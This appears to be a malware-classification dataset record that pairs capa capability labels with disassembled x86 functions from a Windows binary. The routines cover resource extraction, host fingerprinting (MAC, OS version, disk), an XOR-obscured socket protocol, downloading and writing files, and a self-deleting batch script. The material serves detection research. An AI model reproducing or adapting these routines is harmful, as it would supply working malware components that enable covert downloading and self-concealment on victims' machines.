joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4026ba
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x434
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push dword [ebp + 0xc]
mov dword [ebp - 0x430], eax
push eax
call fcn.004083ae
xor edi, edi
cmp eax, edi
pop ecx
pop ecx
mov dword [ebp - 0x42c], eax
jne 0x402835
mov esi, 0x206
push esi
lea eax, [ebp - 0x21e]
push edi
push eax
mov word [ebp - 0x220], di
call fcn.00408c60
add esp, 0xc
push esi
lea eax, [ebp - 0x426]
push edi
push eax
mov word [ebp - 0x428], di
call fcn.00408c60
add esp, 0xc
lea edi, [ebp - 0x220]
call fcn.00408355
push 0x41dc40
mov ebx, 0x104
mov eax, edi
push ebx
push eax
call fcn.00408d82
mov byte [ebp - 0x18], 0
add esp, 0xc
xor eax, eax
lea edi, [ebp - 0x17]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov esi, 0x424788
stosb byte es:[edi], al
mov edi, esi
cmp word [edi], 0
je 0x4027bf
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x428]
push ebx
push eax
call fcn.00409195
add esp, 0xc
push edi
lea eax, [ebp - 0x428]
push ebx
push eax
call fcn.00408d82
lea eax, [ebp - 0x428]
add esp, 0xc
push eax
lea ecx, [ebp - 0x18]
call fcn.00404693
test eax, eax
pop ecx
je 0x4027bf
push 0x14
lea eax, [edi + 0x104]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.00409d6b
add esp, 0xc
test eax, eax
jne 0x4027bf
and word [edi], ax
add edi, 0x118
cmp edi, 0x424d00
jl 0x402761
cmp word [esi], 0
je 0x4027f0
push dword [ebp + 0xc]
mov eax, dword [esi + 0x100]
push dword [ebp - 0x430]
mov ecx, esi
mov dword [0x42477c], eax
call fcn.004085e4
pop ecx
pop ecx
add esi, 0x118
cmp esi, 0x424d00
jl 0x4027cd
push 0x4253c8
lea eax, [ebp - 0x220]
push ebx
push eax
call fcn.00408d82
add esp, 0xc
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x40282f
mov dword [ebp - 0x42c], 2
mov eax, dword [ebp - 0x42c]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408c4c
leave
ret

Function at 0x402915
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push edi
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.IDR_BINARY
mov ebx, eax
push 0x83
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebp, eax
cmp ebp, edi
je 0x402982
push esi
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebp
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebp, eax
mov eax, dword [esp + 0x14]
push esi
mov dword [eax], esi
call fcn.0040b67f
push esi
mov edi, eax
push 0
push edi
call fcn.00408c60
push esi
push ebp
push edi
call fcn.00408e30
add esp, 0x1c
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop esi
mov eax, edi
pop edi
pop ebp
pop ebx
ret
Function at 0x402aa7
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
or dword [ebp - 0x2c], 0xffffffff
push ebx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x40], eax
push 7
xor ebx, ebx
mov word [ebp - 0x24], bx
pop ecx
xor eax, eax
lea edi, [ebp - 0x22]
rep stosd dword es:[edi], eax
mov esi, 0x288
push esi
stosw word es:[edi], ax
call fcn.004096ea
pop ecx
lea ecx, [ebp - 0x30]
push ecx
push eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x30], esi
call sub.iphlpapi.dll_GetAdaptersInfo
cmp eax, 0x6f
jne 0x402b18
push dword [ebp - 0x28]
call fcn.0040b3eb
push dword [ebp - 0x30]
call fcn.004096ea
pop ecx
pop ecx
mov dword [ebp - 0x28], eax
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x30]
push eax
push edi
call sub.iphlpapi.dll_GetAdaptersInfo
test eax, eax
jne 0x402bd2
cmp edi, ebx
mov dword [ebp - 0x34], edi
je 0x402bd2
jmp 0x402b3d
mov edi, dword [ebp - 0x34]
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x38], 0
je 0x402b5a
push 6
lea eax, [edi + 0x194]
push eax
push dword [ebp - 0x38]
call fcn.00408e30
add esp, 0xc
lea esi, [edi + 0x1ac]
test esi, esi
je 0x402bc1
lea edi, [esi + 4]
push edi
call fcn.00409ce0
cmp eax, 0x10
pop ecx
jle 0x402b76
push 0x10
pop eax
xor ecx, ecx
test eax, eax
jl 0x402b95
cmp ecx, eax
jne 0x402b86
and word [ebp + ecx*2 - 0x24], 0
movsx dx, byte [edi + ecx]
mov word [ebp + ecx*2 - 0x24], dx
inc ecx
cmp ecx, eax
jle 0x402b7e
lea eax, [ebp - 0x24]
push eax
call fcn.00402c91
test eax, eax
pop ecx
je 0x402bb7
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x3c]
push 0x10
push dword [eax + ebx*4]
call fcn.00409195
add esp, 0xc
mov esi, dword [esi]
inc ebx
test esi, esi
jne 0x402b64
mov edi, dword [ebp - 0x34]
test ebx, ebx
jg 0x402bd2
mov edi, dword [edi]
test edi, edi
mov dword [ebp - 0x34], edi
jne 0x402b3a
cmp dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x40]
pop edi
pop esi
mov dword [eax], ebx
pop ebx
je 0x402be9
push dword [ebp - 0x28]
call fcn.0040b3eb
pop ecx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x2c]
xor ecx, ebp
call fcn.00408c4c
leave
ret

Function at 0x402e17
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp + 0x9c], eax
push esi
push 0x118
xor esi, esi
lea eax, [ebp - 0x7c]
push esi
push eax
call fcn.00408c60
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x80], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x402e9b
cmp dword [ebp - 0x7c], 5
mov eax, dword [ebp - 0x78]
jne 0x402e85
test eax, eax
jne 0x402e74
cmp word [ebp + 0x94], 4
jb 0x402e9b
inc esi
cmp eax, 2
jne 0x402e7b
push eax
pop esi
jae 0x402e82
cmp eax, 1
jne 0x402e9b
push 3
pop esi
cmp dword [ebp - 0x7c], 6
jne 0x402e9b
test eax, eax
jne 0x402e93
push 4
jmp 0x402e9a
cmp eax, 1
jne 0x402e9b
push 5
pop esi
mov ecx, dword [ebp + 0x9c]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00408c4c
add ebp, 0xa0
leave
ret
Function at 0x402eb3
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor eax, eax
push eax
push eax
push 3
push eax
push 3
push connect
push dword [ebp + 8]
or esi, 0xffffffff
mov ebx, esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, esi
jne 0x402ee2
mov edx, esi
jmp 0x402f01
lea eax, [ebp - 0xc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp eax, 1
jne 0x402ef8
mov esi, dword [ebp - 0xc]
mov ebx, dword [ebp - 8]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x402fd6
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 4], eax
and word [ebp - 0x20c], 0
push 0x206
lea eax, [ebp - 0x20a]
push 0
push eax
call fcn.00408c60
add esp, 0xc
cmp dword [0x4230a0], 3
lea eax, [ebp - 0x20c]
jne 0x40303c
push esi
mov esi, 0x104
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x41dc40
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00408d82
add esp, 0xc
pop esi
jmp 0x403048
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x20c]
push eax
push 0x41dc44
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0x10
call fcn.00408c4c
leave
ret
Function at 0x4030dd
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x29c]
sub esp, 0x31c
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp + 0x298], eax
push ebx
push esi
lea eax, [ebp + 0x194]
push eax
mov esi, 0x104
xor ebx, ebx
push esi
mov dword [ebp - 0x80], ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push str._vslite.bat
lea eax, [ebp + 0x194]
push esi
push eax
call fcn.0040be99
add esp, 0xc
push esi
lea eax, [ebp + 0x90]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp + 0x90]
push eax
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.0040ba81
lea eax, [ebp - 0x74]
push 0x5c
push eax
call fcn.0040be50
add esp, 0x14
cmp eax, ebx
je 0x40315b
mov byte [eax], bl
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp + 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x7c], eax
je 0x403229
lea eax, [ebp + 0x90]
push edi
push eax
call fcn.00409ce0
mov esi, eax
mov edi, str.:Repeat_r_ndel___s__r_nif_exist___s__goto_Repeat_r_nrmdir___s__r_ndel___s_
imul esi, esi, 3
push edi
call fcn.00409ce0
add esi, eax
lea eax, [ebp + 0x194]
push eax
call fcn.00409ce0
lea eax, [eax + esi + 0x32]
push eax
mov dword [ebp - 0x78], eax
call fcn.0040b67f
push dword [ebp - 0x78]
mov esi, eax
push ebx
push esi
call fcn.00408c60
lea eax, [ebp + 0x194]
push eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp + 0x90]
push eax
push eax
push edi
push dword [ebp - 0x78]
push esi
call fcn.0040be7d
add esp, 0x38
push ebx
lea eax, [ebp - 0x80]
push eax
push esi
call fcn.00409ce0
pop ecx
push eax
push esi
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push ebx
push ebx
lea eax, [ebp + 0x194]
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp esi, ebx
pop edi
je 0x403229
push esi
call fcn.0040b479
pop ecx
mov ecx, dword [ebp + 0x298]
pop esi
xor ecx, ebp
pop ebx
call fcn.00408c4c
add ebp, 0x29c
leave
ret

Function at 0x403240
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push edi
xor ecx, ecx
xor eax, eax
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 0x18], ecx
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 4], ecx
je 0x403289
mov eax, dword [ebp + 0xc]
mov ecx, 0x200
mul ecx
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
push eax
push 0x400
push dword [ebp + 0x10]
mov dword [ebp - 0xc], edx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, eax
mov eax, ecx
pop edi
leave
ret
Function at 0x40340d
Capabilities:
Get disk information via ioctl

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
xor esi, esi
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 8], edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], edi
je 0x4034b7
mov ebx, 0xc00
push ebx
call fcn.0040b67f
pop ecx
mov dword [ebp - 4], eax
xor eax, eax
push eax
lea ecx, [ebp - 0xc]
push ecx
push ebx
push dword [ebp - 4]
push eax
push eax
push 0x70050
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x4034a8
mov eax, dword [ebp - 4]
push 4
add eax, 0x38
pop ebx
mov edx, dword [eax + 4]
cmp edx, dword [ebp - 0x14]
mov ecx, dword [eax]
jl 0x403489
jg 0x40347d
cmp ecx, dword [ebp - 0x18]
jbe 0x403489
mov esi, dword [eax + 8]
mov edi, dword [eax + 0xc]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], edx
add eax, 0x90
dec ebx
jne 0x40346c
add esi, dword [ebp - 0x18]
push 0
adc edi, dword [ebp - 0x14]
push 0x200
push edi
push esi
call fcn.00416f20
mov dword [ebp - 8], eax
cmp dword [ebp - 4], 0
je 0x4034b7
push dword [ebp - 4]
call fcn.0040b479
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4035af
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 4], eax
and word [ebp - 0x210], 0
push 0x206
lea eax, [ebp - 0x20e]
push 0
push eax
call fcn.00408c60
and dword [ebp - 0x214], 0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x214]
push eax
movzx eax, word [ebp - 0x210]
sub eax, 0x41
push eax
call fcn.00403320
push dword [ebp - 0x214]
call fcn.0040328e
add esp, 0xc
cmp eax, 0xffffffff
jne 0x403627
xor eax, eax
jmp 0x403630
push edi
push eax
call fcn.004034df
pop ecx
pop ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408c4c
leave
ret

Function at 0x404501
Capabilities:
Hash data using sha1

Disassembly:
and dword [eax + 4], 0
and dword [eax], 0
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0xefcdab89
mov dword [eax + 0x10], 0x98badcfe
mov dword [eax + 0x14], 0x10325476
mov dword [eax + 0x18], 0xc3d2e1f0
ret
Function at 0x404693
Capabilities:
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0xff0]
mov eax, 0x1070
call fcn.004163a0
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp + 0xfec], eax
mov eax, dword [ebp + 0xff8]
push esi
push edi
push 0x41dcbc
push eax
lea eax, [ebp - 0x18]
mov esi, ecx
xor edi, edi
push eax
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x1c], edi
call fcn.00409339
add esp, 0xc
cmp dword [ebp - 0x18], edi
jne 0x4046f1
push 0x14
push edi
push esi
call fcn.00408c60
add esp, 0xc
xor eax, eax
jmp 0x40478c
push ebx
push 2
push edi
push dword [ebp - 0x18]
call fcn.00409410
push dword [ebp - 0x18]
call fcn.0040962d
push edi
push edi
push dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
call fcn.00409410
lea eax, [ebp - 0x80]
call fcn.00404501
push dword [ebp - 0x18]
mov esi, 0x1000
push esi
lea eax, [ebp - 0x14]
push 1
push eax
call fcn.00409a0a
mov ebx, eax
add esp, 0x2c
cmp ebx, edi
jbe 0x404760
push ebx
lea edi, [ebp - 0x80]
lea ecx, [ebp - 0x14]
call fcn.0040452c
push dword [ebp - 0x18]
add dword [ebp - 0x1c], ebx
push esi
lea eax, [ebp - 0x14]
push 1
push eax
call fcn.00409a0a
mov ebx, eax
add esp, 0x14
test ebx, ebx
ja 0x404737
xor edi, edi
push dword [ebp - 0x20]
lea esi, [ebp - 0x80]
call fcn.004045c5
push dword [ebp - 0x18]
call fcn.00409a98
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x1c], eax
pop ecx
pop ecx
pop ebx
jae 0x404789
push 0x14
push edi
push dword [ebp - 0x20]
jmp 0x4046e2
xor eax, eax
inc eax
mov ecx, dword [ebp + 0xfec]
pop edi
xor ecx, ebp
pop esi
call fcn.00408c4c
add ebp, 0xff0
leave
ret
Function at 0x4047a3
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9b8
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
and word [ebp - 0x808], 0
push esi
push edi
push 0x7fe
mov dword [ebp - 0x9b0], eax
lea eax, [ebp - 0x806]
push 0
push eax
mov esi, ecx
call fcn.00408c60
xor eax, eax
add esp, 0xc
cmp esi, eax
lea edi, [ebp - 0x808]
je 0x4047ef
mov edi, esi
mov word [edi], ax
mov dword [ebp - 0x9b4], eax
mov dword [ebp - 0x9ac], eax
lea eax, [ebp - 0x9a8]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x404847
push 0x41de54
mov esi, 0x3ff
push esi
push edi
call fcn.00409195
push 0x41de74
push esi
push edi
call fcn.00408d82
push 0x41de78
push esi
push edi
call fcn.00408d82
add esp, 0x24
xor eax, eax
jmp 0x4048d5
push 6
xor esi, esi
inc esi
push esi
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [ebx], eax
je 0x404814
push dword [ebp - 0x9b0]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x4048e3
push dword [ebp - 0x9b0]
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [ebp - 0x9b4], eax
push 4
lea eax, [ebp - 0x9b4]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
jne 0x4048e3
push 0x41de54
mov esi, 0x3ff
push esi
push edi
call fcn.00409195
push 0x41de74
push esi
push edi
call fcn.00408d82
push 0x41de78
push esi
push edi
call fcn.00408d82
mov eax, dword [ebx]
add esp, 0x24
test eax, eax
je 0x4048cf
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
and dword [ebx], 0
mov eax, dword [ebp - 0x9ac]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00408c4c
leave
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
push dword [ebp + 0xc]
mov dword [ebp - 0x814], eax
mov word [ebp - 0x818], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x816], ax
push 0x10
lea eax, [ebp - 0x818]
push eax
push dword [ebx]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x404928
push 0x41deb8
jmp 0x404898
mov dword [ebp - 0x9ac], esi
jmp 0x4048cf

Function at 0x40494b
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
xor ecx, ecx
cmp dword [eax], ecx
push ebx
push esi
mov dword [ebp - 4], ecx
je 0x4049bf
cmp edi, ecx
jle 0x40496d
mov eax, dword [ebp + 0xc]
add eax, ecx
not byte [eax]
inc ecx
cmp ecx, edi
jl 0x404961
lea ebx, [edi + 7]
push ebx
call fcn.0040b67f
mov esi, eax
lea eax, [edi + 5]
push 5
mov word [esi], ax
lea eax, [esi + 2]
push str.AS101
push eax
call fcn.00408e30
push edi
push dword [ebp + 0xc]
lea eax, [esi + 7]
push eax
call fcn.00408e30
mov eax, dword [ebp + 8]
add esp, 0x1c
push 0
push ebx
push esi
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x4049c2
cmp eax, ebx
jne 0x4049c2
mov dword [ebp - 4], 1
jmp 0x4049c2
mov esi, dword [ebp + 8]
test esi, esi
je 0x4049cd
push esi
call fcn.0040b479
pop ecx
mov eax, dword [ebp - 4]
pop esi
pop ebx
leave
ret
Function at 0x404b01
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x8e4
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp + 0x6c], eax
mov eax, dword [ebp + 0x78]
and word [ebp - 0x85c], 0
push ebx
push esi
push edi
mov dword [ebp - 0x864], eax
mov eax, dword [ebp + 0x7c]
push 0x7fe
mov dword [ebp - 0x874], eax
lea eax, [ebp - 0x85a]
mov ebx, ecx
push 0
push eax
mov dword [ebp - 0x870], ebx
mov edi, edx
call fcn.00408c60
add esp, 0xc
test edi, edi
lea esi, [ebp - 0x85c]
mov dword [ebp - 0x860], esi
je 0x404b6b
mov dword [ebp - 0x860], edi
mov esi, edi
and word [esi], 0
mov ebx, dword [ebx]
xor eax, eax
xor edi, edi
cmp ebx, eax
mov dword [ebp - 0x86c], eax
je 0x404cd0
cmp dword [ebp - 0x864], eax
je 0x404cd0
push 0xc7
push eax
mov byte [ebp - 0x5c], al
lea eax, [ebp - 0x5b]
push eax
call fcn.00408c60
add esp, 0xc
push edi
push 2
lea eax, [ebp - 0x5c]
push eax
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_recv]
call ebx
cmp eax, 0xffffffff
je 0x404cb2
test eax, eax
je 0x404cb2
movzx eax, word [ebp - 0x5c]
mov dword [ebp - 0x868], eax
add eax, 2
push eax
xor esi, esi
call fcn.0040b67f
cmp dword [ebp - 0x868], esi
pop ecx
mov edi, eax
jle 0x404cc5
mov eax, dword [ebp - 0x868]
push 0
sub eax, esi
push eax
lea eax, [esi + edi]
push eax
mov eax, dword [ebp - 0x870]
push dword [eax]
call ebx
cmp eax, 0xffffffff
je 0x404c47
test eax, eax
je 0x404c47
add esi, eax
cmp dword [ebp - 0x868], esi
jg 0x404be9
cmp esi, 5
jl 0x404cc5
push 5
push edi
push str.AS101
sub esi, 5
call fcn.00409d6b
add esp, 0xc
test eax, eax
je 0x404c67
push 0x41ded8
push 0x3ff
push dword [ebp - 0x860]
jmp 0x404cbd
push 0x41ded8
push 0x3ff
push dword [ebp - 0x860]
call fcn.00409195
add esp, 0xc
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x404cc5
test esi, esi
jle 0x404c76
lea eax, [edi + 5]
mov ecx, esi
not byte [eax]
inc eax
dec ecx
jne 0x404c70
mov ebx, dword [ebp - 0x874]
mov eax, dword [ebx]
cmp eax, esi
jl 0x404c96
push esi
lea eax, [edi + 5]
push eax
push dword [ebp - 0x864]
call fcn.00408e30
mov dword [ebx], esi
jmp 0x404ca6
push eax
lea eax, [edi + 5]
push eax
push dword [ebp - 0x864]
call fcn.00408e30
mov dword [ebp - 0x86c], 1
jmp 0x404cc2
push 0x41ded8
push 0x3ff
push esi
call fcn.00409195
add esp, 0xc
test edi, edi
je 0x404cd0
push edi
call fcn.0040b479
pop ecx
mov ecx, dword [ebp + 0x6c]
mov eax, dword [ebp - 0x86c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408c4c
add ebp, 0x70
leave
ret
Function at 0x404e79
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0xf90]
mov eax, 0x1010
call fcn.004163a0
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp + 0xf8c], eax
mov eax, dword [ebp + 0xf98]
push ebx
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
xor ebx, ebx
push ebx
mov dword [ebp - 0x7c], eax
push 4
lea eax, [ebp - 0x78]
push eax
push dword [edi]
call esi
cmp eax, 4
je 0x404ebf
xor eax, eax
jmp 0x404f0d
cmp dword [ebp - 0x78], ebx
jbe 0x404efc
push 0
push 0x1000
lea eax, [ebp - 0x74]
push eax
push dword [edi]
call esi
test eax, eax
mov dword [ebp - 0x80], eax
je 0x404efc
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
push eax
lea eax, [ebp - 0x74]
push 1
push eax
call fcn.00409c2e
add ebx, dword [ebp - 0x80]
add esp, 0x10
cmp ebx, dword [ebp - 0x78]
mov dword [0x424784], ebx
jb 0x404ec4
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.00409a98
cmp ebx, dword [ebp - 0x78]
pop ecx
sbb eax, eax
inc eax
mov ecx, dword [ebp + 0xf8c]
pop esi
xor ecx, ebp
pop ebx
call fcn.00408c4c
add ebp, 0xf90
leave
ret

Function at 0x40671e
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
test ecx, ecx
push esi
mov esi, edx
jne 0x406729
xor eax, eax
pop esi
ret
cmp eax, 8
push ebx
not esi
mov edx, 0xff
jb 0x4067db
push edi
mov edi, eax
shr edi, 3
movzx ebx, byte [ecx]
xor ebx, esi
and ebx, edx
shr esi, 8
xor esi, dword [ebx*4 + 0x41f938]
inc ecx
movzx ebx, byte [ecx]
xor ebx, esi
and ebx, edx
shr esi, 8
xor esi, dword [ebx*4 + 0x41f938]
inc ecx
movzx ebx, byte [ecx]
xor ebx, esi
and ebx, edx
shr esi, 8
xor esi, dword [ebx*4 + 0x41f938]
inc ecx
movzx ebx, byte [ecx]
xor ebx, esi
and ebx, edx
shr esi, 8
xor esi, dword [ebx*4 + 0x41f938]
inc ecx
movzx ebx, byte [ecx]
xor ebx, esi
and ebx, edx
shr esi, 8
xor esi, dword [ebx*4 + 0x41f938]
inc ecx
movzx ebx, byte [ecx]
xor ebx, esi
and ebx, edx
shr esi, 8
xor esi, dword [ebx*4 + 0x41f938]
inc ecx
movzx ebx, byte [ecx]
xor ebx, esi
and ebx, edx
shr esi, 8
xor esi, dword [ebx*4 + 0x41f938]
inc ecx
movzx ebx, byte [ecx]
xor ebx, esi
and ebx, edx
shr esi, 8
xor esi, dword [ebx*4 + 0x41f938]
inc ecx
sub eax, 8
dec edi
jne 0x406740
pop edi
test eax, eax
je 0x4067f4
movzx ebx, byte [ecx]
xor ebx, esi
and ebx, edx
shr esi, 8
xor esi, dword [ebx*4 + 0x41f938]
inc ecx
dec eax
jne 0x4067df
mov eax, esi
pop ebx
not eax
pop esi
ret

Function at 0x4067fb
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [ecx]
xor edx, eax
push esi
mov esi, 0xff
and edx, esi
mov edx, dword [edx*4 + 0x41f938]
shr eax, 8
xor edx, eax
mov eax, dword [ecx + 8]
mov dword [ecx], edx
movzx edx, dl
add edx, dword [ecx + 4]
imul edx, edx, 0x8088405
inc edx
mov dword [ecx + 4], edx
shr edx, 0x18
xor edx, eax
and edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x41f938]
pop esi
mov dword [ecx + 8], eax
ret
Function at 0x406e6d
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 0xc]
imul edi, dword [ebp + 0x10]
cmp byte [esi], 0
je 0x406e9d
push 0
lea eax, [ebp + 0x10]
push eax
push edi
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x406e98
mov byte [esi + 8], 1
mov eax, dword [ebp + 0x10]
jmp 0x406ec5
mov ecx, dword [esi + 0x1c]
mov eax, dword [esi + 0x18]
lea edx, [ecx + edi]
cmp edx, eax
jbe 0x406eae
sub eax, ecx
mov edi, eax
mov eax, dword [esi + 0x14]
push edi
add eax, ecx
push eax
push dword [ebp + 8]
call fcn.00408e30
add esp, 0xc
add dword [esi + 0x1c], edi
mov eax, edi
xor edx, edx
div dword [ebp + 0xc]
pop edi
pop ebp
ret